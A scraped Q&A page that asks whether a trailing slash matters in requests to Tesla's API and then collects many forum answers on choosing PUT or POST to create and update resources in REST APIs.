Does a trailing slash matter in HTTP requests?

Does a trailing slash matter in HTTP requests? - javascript

I'm writing an app that makes calls to Tesla's API and am trying to capture the base URL in a variable. The URL's all have a similar base:
https://owner-api.teslamotors.com/api/1/vehicles
All but one of the endpoints add further paths onto that URL, and it always starts by adding the vehicle ID. My question is, if I make a variable that has this as the base path:
https://owner-api.teslamotors.com/api/1/vehicles/
Would making a GET request to that URL function the same as making a GET request to the version without the trailing slash? This would help clean the code up a bit if so. I'm writing in Javascript if that matters.
Thanks for the help!

Yes, ..vehicles is not the same URI as ..vehicles/. Quite obviously they're different. Whether this matters for this particular URI depends on the URI/web server.
A web server is free to respond to any URI request in any manner possible. The server may or may not normalise the URI, it may or may not treat URIs with and without trailing slash identically, it may or may not treat it the same for some URIs but not for others. The only thing you can do is try with your particular URI on your particular web server.

Related

Fetch POST request removing all other data from JSON [duplicate]

Background Information Analysis:
According to RFC 2616, § 9.5, POST is used to create a resource:
The POST method is used to request that the origin server accept the entity enclosed in the request as a new subordinate of the resource identified by the Request-URI in the Request-Line.
According to RFC 2616, § 9.6, PUT is used to create or replace a resource:
The PUT method requests that the enclosed entity be stored under the supplied Request-URI. If the Request-URI refers to an already existing resource, the enclosed entity SHOULD be considered as a modified version of the one residing on the origin server. If the Request-URI does not point to an existing resource, and that URI is capable of being defined as a new resource by the requesting user agent, the origin server can create the resource with that URI.
My Question:
So, which HTTP method should be used to create a resource? Or should both be supported?

Overall:
Both PUT and POST can be used for creating.
You have to ask, "what are you performing the action upon?", to distinguish what you should be using. Let's assume you're designing an API for asking questions. If you want to use POST, then you would do that to a list of questions. If you want to use PUT, then you would do that to a particular question.
Great, both can be used, so which one should I use in my RESTful design:
You do not need to support both PUT and POST.
Which you use is up to you. But just remember to use the right one depending on what object you are referencing in the request.
Some considerations:
Do you name the URL objects you create explicitly, or let the server decide? If you name them then use PUT. If you let the server decide then use POST.
PUT is defined to assume idempotency, so if you PUT an object twice, it should have no additional effect. This is a nice property, so I would use PUT when possible. Just make sure that the PUT-idempotency actually is implemented correctly in the server.
You can update or create a resource with PUT with the same object URL
With POST you can have 2 requests coming in at the same time making modifications to a URL, and they may update different parts of the object.
An example:
I wrote the following as part of another answer on SO regarding this:
POST:
Used to modify and update a resource
POST /questions/<existing_question> HTTP/1.1
Host: www.example.com/
Note that the following is an error:
POST /questions/<new_question> HTTP/1.1
Host: www.example.com/
If the URL is not yet created, you
should not be using POST to create it
while specifying the name. This should
result in a 'resource not found' error
because <new_question> does not exist
yet. You should PUT the <new_question>
resource on the server first.
You could though do something like
this to create a resources using POST:
POST /questions HTTP/1.1
Host: www.example.com/
Note that in this case the resource
name is not specified, the new objects
URL path would be returned to you.
PUT:
Used to create a resource, or
overwrite it. While you specify the
resources new URL.
For a new resource:
PUT /questions/<new_question> HTTP/1.1
Host: www.example.com/
To overwrite an existing resource:
PUT /questions/<existing_question> HTTP/1.1
Host: www.example.com/
Additionally, and a bit more concisely, RFC 7231 Section 4.3.4 PUT states (emphasis added),
4.3.4. PUT
The PUT method requests that the state of the target resource be
created or replaced with the state defined by the representation
enclosed in the request message payload.

You can find assertions on the web that say
POST should be used to create a resource, and PUT should be used to modify one
PUT should be used to create a resource, and POST should be used to modify one
Neither is quite right.
Better is to choose between PUT and POST based on idempotence of the action.
PUT implies putting a resource - completely replacing whatever is available at the given URL with a different thing. By definition, a PUT is idempotent. Do it as many times as you like, and the result is the same. x=5 is idempotent. You can PUT a resource whether it previously exists, or not (eg, to Create, or to Update)!
POST updates a resource, adds a subsidiary resource, or causes a change. A POST is not idempotent, in the way that x++ is not idempotent.
By this argument, PUT is for creating when you know the URL of the thing you will create. POST can be used to create when you know the URL of the "factory" or manager for the category of things you want to create.
so:
POST /expense-report
or:
PUT /expense-report/10929

POST to a URL creates a child resource at a server defined URL.
PUT to a URL creates/replaces the resource in its entirety at the client defined URL.
PATCH to a URL updates part of the resource at that client defined URL.
The relevant specification for PUT and POST is RFC 2616 §9.5ff.
POST creates a child resource, so POST to /items creates a resources that lives under the /items resource.
Eg. /items/1. Sending the same post packet twice will create two resources.
PUT is for creating or replacing a resource at a URL known by the client.
Therefore: PUT is only a candidate for CREATE where the client already knows the url before the resource is created. Eg. /blogs/nigel/entry/when_to_use_post_vs_put as the title is used as the resource key
PUT replaces the resource at the known url if it already exists, so sending the same request twice has no effect. In other words, calls to PUT are idempotent.
The RFC reads like this:
The fundamental difference between the POST and PUT requests is reflected in the different meaning of the Request-URI. The URI in a POST request identifies the resource that will handle the enclosed entity. That resource might be a data-accepting process, a gateway to some other protocol, or a separate entity that accepts annotations. In contrast, the URI in a PUT request identifies the entity enclosed with the request -- the user agent knows what URI is intended and the server MUST NOT attempt to apply the request to some other resource. If the server desires that the request be applied to a different URI,
Note: PUT has mostly been used to update resources (by replacing them in their entireties), but recently there is movement towards using PATCH for updating existing resources, as PUT specifies that it replaces the whole resource. RFC 5789.
Update 2018: There is a case that can be made to avoid PUT. See "REST without PUT"
With “REST without PUT” technique, the idea is that consumers are
forced to post new 'nounified' request resources. As discussed
earlier, changing a customer’s mailing address is a POST to a new
“ChangeOfAddress” resource, not a PUT of a “Customer” resource with a
different mailing address field value.
taken from REST API Design - Resource Modeling by Prakash Subramaniam of Thoughtworks
This forces the API to avoid state transition problems with multiple clients updating a single resource, and matches more nicely with event sourcing and CQRS. When the work is done asynchronously, POSTing the transformation and waiting for it to be applied seems appropriate.

POST means "create new" as in "Here is the input for creating a user, create it for me".
PUT means "insert, replace if already exists" as in "Here is the data for user 5".
You POST to example.com/users since you don't know the URL of the user yet, you want the server to create it.
You PUT to example.com/users/id since you want to replace/create a specific user.
POSTing twice with the same data means create two identical users with different ids. PUTing twice with the same data creates the user the first and updates him to the same state the second time (no changes). Since you end up with the same state after a PUT no matter how many times you perform it, it is said to be "equally potent" every time - idempotent. This is useful for automatically retrying requests. No more 'are you sure you want to resend' when you push the back button on the browser.
A general advice is to use POST when you need the server to be in control of URL generation of your resources. Use PUT otherwise. Prefer PUT over POST.

Summary:
Create:
Can be performed with both PUT or POST in the following way:
PUT
Creates THE new resource with newResourceId as the identifier, under the /resources URI, or collection.
PUT /resources/<newResourceId> HTTP/1.1
POST
Creates A new resource under the /resources URI, or collection. Usually the identifier is returned by the server.
POST /resources HTTP/1.1
Update:
Can only be performed with PUT in the following way:
PUT
Updates the resource with existingResourceId as the identifier, under the /resources URI, or collection.
PUT /resources/<existingResourceId> HTTP/1.1
Explanation:
When dealing with REST and URI as general, you have generic on the left and specific on the right. The generics are usually called collections and the more specific items can be called resource. Note that a resource can contain a collection.
Examples:
<-- generic -- specific -->
URI: website.example/users/john
website.example - whole site
users - collection of users
john - item of the collection, or a resource
URI:website.example/users/john/posts/23
website.example - whole site
users - collection of users
john - item of the collection, or a resource
posts - collection of posts from john
23 - post from john with identifier 23, also a resource
When you use POST you are always refering to a collection, so whenever you say:
POST /users HTTP/1.1
you are posting a new user to the users collection.
If you go on and try something like this:
POST /users/john HTTP/1.1
it will work, but semantically you are saying that you want to add a resource to the john collection under the users collection.
Once you are using PUT you are refering to a resource or single item, possibly inside a collection. So when you say:
PUT /users/john HTTP/1.1
you are telling to the server update, or create if it doesn't exist, the john resource under the users collection.
Spec:
Let me highlight some important parts of the spec:
POST
The POST method is used to request that the origin server accept the entity enclosed in the request as a new subordinate of the resource identified by the Request-URI in the Request-Line
Hence, creates a new resource on a collection.
PUT
The PUT method requests that the enclosed entity be stored under the supplied Request-URI. If the Request-URI refers to an already existing resource, the enclosed entity SHOULD be considered as a modified version of the one residing on the origin server. If the Request-URI does not point to an existing resource, and that URI is capable of being defined as a new resource by the requesting user agent, the origin server can create the resource with that URI."
Hence, create or update based on existence of the resource.
Reference:
HTTP/1.1 Spec
Wikipedia - REST
Uniform Resource Identifiers (URI): Generic Syntax and Semantics

I'd like to add my "pragmatic" advice. Use PUT when you know the "id" by which the object you are saving can be retrieved. Using PUT won't work too well if you need, say, a database generated id to be returned for you to do future lookups or updates.
So: To save an existing user, or one where the client generates the id and it's been verified that the id is unique:
PUT /user/12345 HTTP/1.1 <-- create the user providing the id 12345
Host: mydomain.example
GET /user/12345 HTTP/1.1 <-- return that user
Host: mydomain.example
Otherwise, use POST to initially create the object, and PUT to update the object:
POST /user HTTP/1.1 <--- create the user, server returns 12345
Host: mydomain.example
PUT /user/12345 HTTP/1.1 <--- update the user
Host: mydomain.example

Both are used for data transmission between client to server, but there are subtle differences between them, which are:
PUT
POST
Replacing existing resource or creating if resource is not exist. www.example.com/com/customer/{customerId} www.example.com/com/customer/123/order/{orderId} Identifier is chosen by the client.
Creating new resources and subordinate resources, e.g. a file is subordinate to a directory containing it or a row is subordinate to a database table. www.example.com/com/customer/ www.example.com/com/customer/123/order/ identifier is returned by server
Idempotent i.e. if you PUT a resource twice, it has no effect. Example: Do it as many times as you want, the result will be same. x=1;
POST is neither safe nor idempotent. Example: x++;
Works as specific
Works as abstractive
If you create or update a resource using PUT and then make that same call again, the resource is still there and still has the same state as it did with the first call.
Making two identical POST requests will most likely result in two resources containing the same information.
Analogy:
PUT i.e. take and put where it was.
POST as send mail in post office.
Social Media/Network Analogy:
Post on social media: when we post message, it creates new post.
Put(i.e. edit) for the message we already Posted.

Use POST to create, and PUT to update. That's how Ruby on Rails is doing it, anyway.
PUT /items/1 #=> update
POST /items #=> create

REST is a very high-level concept. In fact, it doesn't even mention HTTP at all!
If you have any doubts about how to implement REST in HTTP, you can always take a look at the Atom Publication Protocol (AtomPub) specification. AtomPub is a standard for writing RESTful webservices with HTTP that was developed by many HTTP and REST luminaries, with some input from Roy Fielding, the inventor of REST and (co-)inventor of HTTP himself.
In fact, you might even be able to use AtomPub directly. While it came out of the blogging community, it is in no way restricted to blogging: it is a generic protocol for RESTfully interacting with arbitrary (nested) collections of arbitrary resources via HTTP. If you can represent your application as a nested collection of resources, then you can just use AtomPub and not worry about whether to use PUT or POST, what HTTP Status Codes to return and all those details.
This is what AtomPub has to say about resource creation (section 9.2):
To add members to a Collection, clients send POST requests to the URI of the Collection.

The decision of whether to use PUT or POST to create a resource on a server with an HTTP + REST API is based on who owns the URL structure. Having the client know, or participate in defining, the URL struct is an unnecessary coupling akin to the undesirable couplings that arose from SOA. Escaping types of couplings is the reason REST is so popular. Therefore, the proper method to use is POST. There are exceptions to this rule and they occur when the client wishes to retain control over the location structure of the resources it deploys. This is rare and likely means something else is wrong.
At this point some people will argue that if RESTful-URL's are used, the client does knows the URL of the resource and therefore a PUT is acceptable. After all, this is why canonical, normalized, Ruby on Rails, Django URLs are important, look at the Twitter API … blah blah blah. Those people need to understand there is no such thing as a Restful-URL and that Roy Fielding himself states that:
A REST API must not define fixed resource names or hierarchies (an
obvious coupling of client and server). Servers must have the freedom
to control their own namespace. Instead, allow servers to instruct
clients on how to construct appropriate URIs, such as is done in HTML
forms and URI templates, by defining those instructions within media
types and link relations. [Failure here implies that clients are
assuming a resource structure due to out-of band information, such as
a domain-specific standard, which is the data-oriented equivalent to
RPC's functional coupling].
http://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven
The idea of a RESTful-URL is actually a violation of REST as the server is in charge of the URL structure and should be free to decide how to use it to avoid coupling. If this confuses you read about the significance of self discovery on API design.
Using POST to create resources comes with a design consideration because POST is not idempotent. This means that repeating a POST several times does not guarantee the same behavior each time. This scares people into using PUT to create resources when they should not. They know it's wrong (POST is for CREATE) but they do it anyway because they don't know how to solve this problem. This concern is demonstrated in the following situation:
The client POST a new resource to the server.
The server processes the request and sends a response.
The client never receives the response.
The server is unaware the client has not received the response.
The client does not have a URL for the resource (therefore PUT is not an option) and repeats the POST.
POST is not idempotent and the server …
Step 6 is where people commonly get confused about what to do. However, there is no reason to create a kludge to solve this issue. Instead, HTTP can be used as specified in RFC 2616 and the server replies:
10.4.10 409 Conflict
The request could not be completed due to a conflict with the current
state of the resource. This code is only allowed in situations where
it is expected that the user might be able to resolve the conflict and
resubmit the request. The response body SHOULD include enough
information for the user to recognize the source of the conflict.
Ideally, the response entity would include enough information for the
user or user agent to fix the problem; however, that might not be
possible and is not required.
Conflicts are most likely to occur in response to a PUT request. For
example, if versioning were being used and the entity being PUT
included changes to a resource which conflict with those made by an
earlier (third-party) request, the server might use the 409 response
to indicate that it can’t complete the request. In this case, the
response entity would likely contain a list of the differences between
the two versions in a format defined by the response Content-Type.
Replying with a status code of 409 Conflict is the correct recourse because:
Performing a POST of data which has an ID which matches a resource already in the system is “a conflict with the current state of the resource.”
Since the important part is for the client to understand the server has the resource and to take appropriate action. This is a “situation(s) where it is expected that the user might be able to resolve the conflict and resubmit the request.”
A response which contains the URL of the resource with the conflicting ID and the appropriate preconditions for the resource would provide “enough information for the user or user agent to fix the problem” which is the ideal case per RFC 2616.
Update based on release of RFC 7231 to Replace 2616
RFC 7231 is designed to replace 2616 and in Section 4.3.3 describes the follow possible response for a POST
If the result of processing a POST would be equivalent to a
representation of an existing resource, an origin server MAY redirect
the user agent to that resource by sending a 303 (See Other) response
with the existing resource's identifier in the Location field. This
has the benefits of providing the user agent a resource identifier
and transferring the representation via a method more amenable to
shared caching, though at the cost of an extra request if the user
agent does not already have the representation cached.
It now may be tempting to simply return a 303 in the event that a POST is repeated. However, the opposite is true. Returning a 303 would only make sense if multiple create requests (creating different resources) return the same content. An example would be a "thank you for submitting your request message" that the client need not re-download each time. RFC 7231 still maintains in section 4.2.2 that POST is not to be idempotent and continues to maintain that POST should be used for create.
For more information about this, read this article.

I like this advice, from RFC 2616's definition of PUT:
The fundamental difference between the POST and PUT requests is reflected in the different meaning of the Request-URI. The URI in a POST request identifies the resource that will handle the enclosed entity. That resource might be a data-accepting process, a gateway to some other protocol, or a separate entity that accepts annotations. In contrast, the URI in a PUT request identifies the entity enclosed with the request -- the user agent knows what URI is intended and the server MUST NOT attempt to apply the request to some other resource.
This jibes with the other advice here, that PUT is best applied to resources that already have a name, and POST is good for creating a new object under an existing resource (and letting the server name it).
I interpret this, and the idempotency requirements on PUT, to mean that:
POST is good for creating new objects under a collection (and create does not need to be idempotent)
PUT is good for updating existing objects (and update needs to be idempotent)
POST can also be used for non-idempotent updates to existing objects (especially, changing part of an object without specifying the whole thing -- if you think about it, creating a new member of a collection is actually a special case of this kind of update, from the collection's perspective)
PUT can also be used for create if and only if you allow the client to name the resource. But since REST clients aren't supposed to make assumptions about URL structure, this is less in the intended spirit of things.

In short:
PUT is idempotent, where the resource state will be the same if the same operation is executed one time or multiple times.
POST is non-idempotent, where the resource state may become different if the operation is executed multiple times as compared to executing a single time.
Analogy with database query
PUT You can think of similar to "UPDATE STUDENT SET address = "abc" where id="123";
POST You can think of something like "INSERT INTO STUDENT(name, address) VALUES ("abc", "xyzzz");
Student Id is auto generated.
With PUT, if the same query is executed multiple times or one time, the STUDENT table state remains the same.
In case of POST, if the same query is executed multiple times then multiple Student records get created in the database and the database state changes on each execution of an "INSERT" query.
NOTE: PUT needs a resource location (already-resource) on which update needs to happen, whereas POST doesn't require that. Therefore intuitively POST is meant for creation of a new resource, whereas PUT is needed for updating the already existing resource.
Some may come up with that updates can be performed with POST. There is no hard rule which one to use for updates or which one to use for create. Again these are conventions, and intuitively I'm inclined with the above mentioned reasoning and follow it.

POST is like posting a letter to a mailbox or posting an email to an email queue.
PUT is like when you put an object in a cubby hole or a place on a shelf (it has a known address).
With POST, you're posting to the address of the QUEUE or COLLECTION. With PUT, you're putting to the address of the ITEM.
PUT is idempotent. You can send the request 100 times and it will not matter. POST is not idempotent. If you send the request 100 times, you'll get 100 emails or 100 letters in your postal box.
A general rule: if you know the id or name of the item, use PUT. If you want the id or name of the item to be assigned by the receiving party, use POST.

Short Answer:
Simple rule of thumb: Use POST to create, use PUT to update.
Long Answer:
POST:
POST is used to send data to server.
Useful when the resource's URL is
unknown
PUT:
PUT is used to transfer state to the server
Useful when a resource's URL is known
Longer Answer:
To understand it we need to question why PUT was required, what were the problems PUT was trying to solve that POST couldn't.
From a REST architecture's point of view there is none that matters. We could have lived without PUT as well. But from a client developer's point of view it made his/her life a lot simpler.
Prior to PUT, clients couldn't directly know the URL that the server generated or if all it had generated any or whether the data to be sent to the server is already updated or not. PUT relieved the developer of all these headaches. PUT is idempotent, PUT handles race conditions, and PUT lets the client choose the URL.

New answer (now that I understand REST better):
PUT is merely a statement of what content the service should, from now on, use to render representations of the resource identified by the client; POST is a statement of what content the service should, from now on, contain (possibly duplicated) but it's up to the server how to identify that content.
PUT x (if x identifies a resource): "Replace the content of the resource identified by x with my content."
PUT x (if x does not identify a resource): "Create a new resource containing my content and use x to identify it."
POST x: "Store my content and give me an identifier that I can use to identify a resource (old or new) containing said content (possibly mixed with other content). Said resource should be identical or subordinate to that which x identifies." "y's resource is subordinate to x's resource" is typically but not necessarily implemented by making y a subpath of x (e.g. x = /foo and y = /foo/bar) and modifying the representation(s) of x's resource to reflect the existence of a new resource, e.g. with a hyperlink to y's resource and some metadata. Only the latter is really essential to good design, as URLs are opaque in REST -- you're supposed to use hypermedia instead of client-side URL construction to traverse the service anyways.
In REST, there's no such thing as a resource containing "content". I refer as "content" to data that the service uses to render representations consistently. It typically consists of some related rows in a database or a file (e.g. an image file). It's up to the service to convert the user's content into something the service can use, e.g. converting a JSON payload into SQL statements.
Original answer (might be easier to read):
PUT /something (if /something already exists): "Take whatever you have at /something and replace it with what I give you."
PUT /something (if /something does not already exist): "Take what I give you and put it at /something."
POST /something: "Take what I give you and put it anywhere you want under /something as long as you give me its URL when you're done."

Ruby on Rails 4.0 will use the 'PATCH' method instead of PUT to do partial updates.
RFC 5789 says about PATCH (since 1995):
A new method is necessary to improve interoperability and prevent
errors. The PUT method is already defined to overwrite a resource
with a complete new body, and cannot be reused to do partial changes.
Otherwise, proxies and caches, and even clients and servers, may get
confused as to the result of the operation. POST is already used but
without broad interoperability (for one, there is no standard way to
discover patch format support). PATCH was mentioned in earlier HTTP
specifications, but not completely defined.
"Edge Rails: PATCH is the new primary HTTP method for updates" explains it.

In addition to differences suggested by others, I want to add one more.
In POST method you can send body params in form-data
In PUT method you have to send body params in x-www-form-urlencoded
Header Content-Type:application/x-www-form-urlencoded
According to this, you cannot send files or multipart data in the PUT method
EDIT
The content type "application/x-www-form-urlencoded" is inefficient
for sending large quantities of binary data or text containing
non-ASCII characters. The content type "multipart/form-data" should be
used for submitting forms that contain files, non-ASCII data, and
binary data.
Which means if you have to submit
files, non-ASCII data, and binary data
you should use POST method

At the risk of restating what has already been said, it seems important to remember that PUT implies that the client controls what the URL is going to end up being, when creating a resource. So part of the choice between PUT and POST is going to be about how much you can trust the client to provide correct, normalized URL that are coherent with whatever your URL scheme is.
When you can't fully trust the client to do the right thing, it would be
more appropriate to use POST to create a new item and then send the URL back to the client in the response.

In a very simple way I'm taking the example of the Facebook timeline.
Case 1: When you post something on your timeline, it's a fresh new entry. So in this case they use the POST method because the POST method is non-idempotent.
Case 2: If your friend comment on your post the first time, that also will create a new entry in the database so the POST method used.
Case 3: If your friend edits his comment, in this case, they had a comment id, so they will update an existing comment instead of creating a new entry in the database. Therefore for this type of operation use the PUT method because it is idempotent.*
In a single line, use POST to add a new entry in the database and PUT to update something in the database.

The most important consideration is reliability. If a POST message gets lost the state of the system is undefined. Automatic recovery is impossible. For PUT messages, the state is undefined only until the first successful retry.
For instance, it may not be a good idea to create credit card transactions with POST.
If you happen to have auto generated URI's on your resource you can still use PUT by passing a generated URI (pointing to an empty resource) to the client.
Some other considerations:
POST invalidates cached copies of the entire containing resource (better consistency)
PUT responses are not cacheable while POST ones are (Require Content-Location and expiration)
PUT is less supported by e.g. Java ME, older browsers, firewalls

Readers new to this topic will be struck by the endless discussion about what you should do, and the relative absence of lessons from experience. The fact that REST is "preferred" over SOAP is, I suppose, a high-level learning from experience, but goodness we must have progressed from there? It's 2016. Roy's dissertation was in 2000. What have we developed? Was it fun? Was it easy to integrate with? To support? Will it handle the rise of smartphones and flaky mobile connections?
According to ME, real-life networks are unreliable. Requests timeout. Connections are reset. Networks go down for hours or days at a time. Trains go into tunnels with mobile users aboard. For any given request (as occasionally acknowledged in all this discussion) the request can fall in the water on its way, or the response can fall in the water on its way back. In these conditions, issuing PUT, POST and DELETE requests directly against substantive resources has always struck me as a little brutal and naive.
HTTP does nothing to ensure reliable completion of the request-response, and that's just fine because this is properly the job of network-aware applications. Developing such an application, you can jump through hoops to use PUT instead of POST, then more hoops to give a certain kind of error on the server if you detect duplicate requests. Back at the client, you then have to jump through hoops to interpret these errors, refetch, revalidate and repost.
Or you can do this: consider your unsafe requests as ephemeral single-user resources (let's call them actions). Clients request a new "action" on a substantive resource with an empty POST to the resource. POST will be used only for this. Once safely in possession of the URI of the freshly minted action, the client PUTs the unsafe request to the action URI, not the target resource. Resolving the action and updating the "real" resource is properly the job of your API, and is here decoupled from the unreliable network.
The server does the business, returns the response and stores it against the agreed action URI. If anything goes wrong, the client repeats the request (natural behaviour!), and if the server has already seen it, it repeats the stored response and does nothing else.
You will quickly spot the similarity with promises: we create and return the placeholder for the result before doing anything. Also like a promise, an action can succeed or fail one time, but its result can be fetched repeatedly.
Best of all, we give sending and receiving applications a chance to link the uniquely identified action to uniqueness in their respective environments. And we can start to demand, and enforce!, responsible behaviour from clients: repeat your requests as much as you like, but don't go generating a new action until you're in possession of a definitive result from the existing one.
As such, numerous thorny problems go away. Repeated insert requests won't create duplicates, and we don't create the real resource until we're in possession of the data. (database columns can stay not-nullable). Repeated update requests won't hit incompatible states and won't overwrite subsequent changes. Clients can (re)fetch and seamlessy process the original confirmation for whatever reason (client crashed, response went missing, etc.).
Successive delete requests can see and process the original confirmation, without hitting a 404 error. If things take longer than expected, we can respond provisionally, and we have a place where the client can check back for the definitive result. The nicest part of this pattern is its Kung-Fu (Panda) property. We take a weakness, the propensity for clients to repeat a request any time they don't understand the response, and turn it into a strength :-)
Before telling me this is not RESTful, please consider the numerous ways in which REST principles are respected. Clients don't construct URLs. The API stays discoverable, albeit with a little change in semantics. HTTP verbs are used appropriately. If you think this is a huge change to implement, I can tell you from experience that it's not.
If you think you'll have huge amounts of data to store, let's talk volumes: a typical update confirmation is a fraction of a kilobyte. HTTP currently gives you a minute or two to respond definitively. Even if you only store actions for a week, clients have ample chance to catch up. If you have very high volumes, you may want a dedicated acid-compliant key value store, or an in-memory solution.

There seems to always be some confusion as to when to use the HTTP POST versus the HTTP PUT method for REST services. Most developers will try to associate CRUD operations directly to HTTP methods. I will argue that this is not correct and one can not simply associate the CRUD concepts to the HTTP methods. That is:
Create => HTTP PUT
Retrieve => HTTP GET
Update => HTTP POST
Delete => HTTP DELETE
It is true that the R(etrieve) and D(elete) of the CRUD operations can be mapped directly to the HTTP methods GET and DELETE respectively. However, the confusion lies in the C(reate) and U(update) operations. In some cases, one can use the PUT for a create while in other cases a POST will be required. The ambiguity lies in the definition of an HTTP PUT method versus an HTTP POST method.
According to the HTTP 1.1 specifications the GET, HEAD, DELETE, and PUT methods must be idempotent, and the POST method is not idempotent. That is to say that an operation is idempotent if it can be performed on a resource once or many times and always return the same state of that resource. Whereas a non idempotent operation can return a modified state of the resource from one request to another. Hence, in a non idempotent operation, there is no guarantee that one will receive the same state of a resource.
Based on the above idempotent definition, my take on using the HTTP PUT method versus using the HTTP POST method for REST services is:
Use the HTTP PUT method when:
The client includes all aspect of the resource including the unique identifier to uniquely identify the resource. Example: creating a new employee.
The client provides all the information for a resource to be able to modify that resource.This implies that the server side does not update any aspect of the resource (such as an update date).
In both cases, these operations can be performed multiple times with the same results. That is the resource will not be changed by requesting the operation more than once. Hence, a true idempotent operation.
Use the HTTP POST method when:
The server will provide some information concerning the newly created resource. For example, take a logging system. A new entry in the log will most likely have a numbering scheme which is determined on the server side. Upon creating a new log entry, the new sequence number will be determined by the server and not by the client.
On a modification of a resource, the server will provide such information as a resource state or an update date. Again in this case not all information was provided by the client and the resource will be changing from one modification request to the next. Hence a non idempotent operation.
Conclusion
Do not directly correlate and map CRUD operations to HTTP methods for REST services. The use of an HTTP PUT method versus an HTTP POST method should be based on the idempotent aspect of that operation. That is, if the operation is idempotent, then use the HTTP PUT method. If the operation is non idempotent, then use the HTTP POST method.

the origin server can create the resource with that URI
So you use POST and probably, but not necessary PUT for resource creation. You don't have to support both. For me POST is perfectly enough. So it is a design decision.
As your quote mentioned, you use PUT for creation of there is no resource assigned to an IRI, and you want to create a resource anyway. For example, PUT /users/123/password usually replaces the old password with a new one, but you can use it to create a password if it does not exist already (for example, by freshly registered users or by restoring banned users).

I'm going to land with the following:
PUT refers to a resource, identified by the URI. In this case, you are updating it. It is the part of the three verbs referring to resources -- delete and get being the other two.
POST is basically a free form message, with its meaning being defined 'out of band'. If the message can be interpreted as adding a resource to a directory, that would be OK, but basically you need to understand the message you are sending (posting) to know what will happen with the resource.
Because PUT and GET and DELETE refer to a resource, they are also by definition idempotent.
POST can perform the other three functions, but then the semantics of the request will be lost on the intermediaries such as caches and proxies. This also applies to providing security on the resource, since a post's URI doesn't necessarily indicate the resource it is applying to (it can though).
A PUT doesn't need to be a create; the service could error if the resource isn't already created, but otherwise update it. Or vice versa -- it may create the resource, but not allow updates. The only thing required about PUT is that it points to a specific resource, and its payload is the representation of that resource. A successful PUT means (barring interference) that a GET would retrieve the same resource.
Edit: One more thing -- a PUT can create, but if it does then the ID has to be a natural ID -- AKA an email address. That way when you PUT twice, the second put is an update of the first. This makes it idempotent.
If the ID is generated (a new employee ID, for example), then the second PUT with the same URL would create a new record, which violates the idempotent rule. In this case the verb would be POST, and the message (not resource) would be to create a resource using the values defined in this message.

Here's a simple rule:
PUT to a URL should be used to update or create the resource that can be located at that URL.
POST to a URL should be used to update or create a resource which is located at some other ("subordinate") URL, or is not locatable via HTTP.

The semantics are supposed be different, in that "PUT", like "GET" is supposed to be idempotent -- meaning, you can the same exact PUT request multiple times and the result will be as if you executed it only once.
I will describe the conventions which I think are most widely used and are most useful:
When you PUT a resource at a particular URL what happens is that it should get saved at that URL, or something along those lines.
When you POST to a resource at a particular URL, often you are posting a related piece of information to that URL. This implies that the resource at the URL already exists.
For example, when you want to create a new stream, you can PUT it to some URL. But when you want to POST a message to an existing stream, you POST to its URL.
As for modifying the properties of the stream, you can do that with either PUT or POST. Basically, only use "PUT" when the operation is idempotent - otherwise use POST.
Note, however, that not all modern browsers support HTTP verbs other than GET or POST.

Most of the time, you will use them like this:
POST a resource into a collection
PUT a resource identified by collection/:id
For example:
POST /items
PUT /items/1234
In both cases, the request body contains the data for the resource to be created or updated. It should be obvious from the route names that POST is not idempotent (if you call it 3 times it will create 3 objects), but PUT is idempotent (if you call it 3 times the result is the same). PUT is often used for "upsert" operation (create or update), but you can always return a 404 error if you only want to use it to modify.
Note that POST "creates" a new element in the collection, and PUT "replaces" an element at a given URL, but it is a very common practice to use PUT for partial modifications, that is, use it only to update existing resources and only modify the included fields in the body (ignoring the other fields). This is technically incorrect, if you want to be REST-purist, PUT should replace the whole resource and you should use PATCH for the partial update. I personally don't care much as far as the behavior is clear and consistent across all your API endpoints.
Remember, REST is a set of conventions and guidelines to keep your API simple. If you end up with a complicated work-around just to check the "RESTfull" box then you are defeating the purpose ;)

To me, the key of understanding the difference was to understand who defines the ID of the resource:
Example (with some address service)
POST (sever creates new resource)
client server/addresses // NOTE: no ID in the request
| |
| --{POST address data}--> |
| |
| <--{201, created addresses/321} | // NOTE: resource ID in the reply
| |
PUT (sever sets data of resource, creating it if necessary)
client server/addresses/321 // NOTE: *you* put the ID here!
| |
| --{PUT address data (to 321)}-->|
| |
| <--{201, created } | // NOTE: resource ID not required here
| |
There are many great answers with great details below, but that helped me to get to the point.

If you are familiar with database operations,
there are
Select
Insert
Update
Delete
Merge (Update if already existing, else insert)
I use PUT for Merge and update like operations and use POST for Insertions.

While there is probably an agnostic way to describe these, it does seem to be conflicting with various statements from answers to websites.
Let's be very clear and direct here. If you are a .NET developer working with Web API, the facts are (from the Microsoft API documentation),
http://www.asp.net/web-api/overview/creating-web-apis/creating-a-web-api-that-supports-crud-operations:
1. PUT = UPDATE (/api/products/id)
2. MCSD Exams 2014 - UPDATE = PUT, there are **NO** multiple answers for that question period.
Sure you "can" use "POST" to update, but just follow the conventions laid out for you with your given framework. In my case it is .NET / Web API, so PUT is for UPDATE there is no debate.
I hope this helps any Microsoft developers that read all comments with Amazon and Sun/Java website links.

Implementing POST and PUT request with Express on server side [duplicate]

Background Information Analysis:
According to RFC 2616, § 9.5, POST is used to create a resource:
The POST method is used to request that the origin server accept the entity enclosed in the request as a new subordinate of the resource identified by the Request-URI in the Request-Line.
According to RFC 2616, § 9.6, PUT is used to create or replace a resource:
The PUT method requests that the enclosed entity be stored under the supplied Request-URI. If the Request-URI refers to an already existing resource, the enclosed entity SHOULD be considered as a modified version of the one residing on the origin server. If the Request-URI does not point to an existing resource, and that URI is capable of being defined as a new resource by the requesting user agent, the origin server can create the resource with that URI.
My Question:
So, which HTTP method should be used to create a resource? Or should both be supported?

You can find assertions on the web that say
POST should be used to create a resource, and PUT should be used to modify one
PUT should be used to create a resource, and POST should be used to modify one
Neither is quite right.
Better is to choose between PUT and POST based on idempotence of the action.
PUT implies putting a resource - completely replacing whatever is available at the given URL with a different thing. By definition, a PUT is idempotent. Do it as many times as you like, and the result is the same. x=5 is idempotent. You can PUT a resource whether it previously exists, or not (eg, to Create, or to Update)!
POST updates a resource, adds a subsidiary resource, or causes a change. A POST is not idempotent, in the way that x++ is not idempotent.
By this argument, PUT is for creating when you know the URL of the thing you will create. POST can be used to create when you know the URL of the "factory" or manager for the category of things you want to create.
so:
POST /expense-report
or:
PUT /expense-report/10929

POST means "create new" as in "Here is the input for creating a user, create it for me".
PUT means "insert, replace if already exists" as in "Here is the data for user 5".
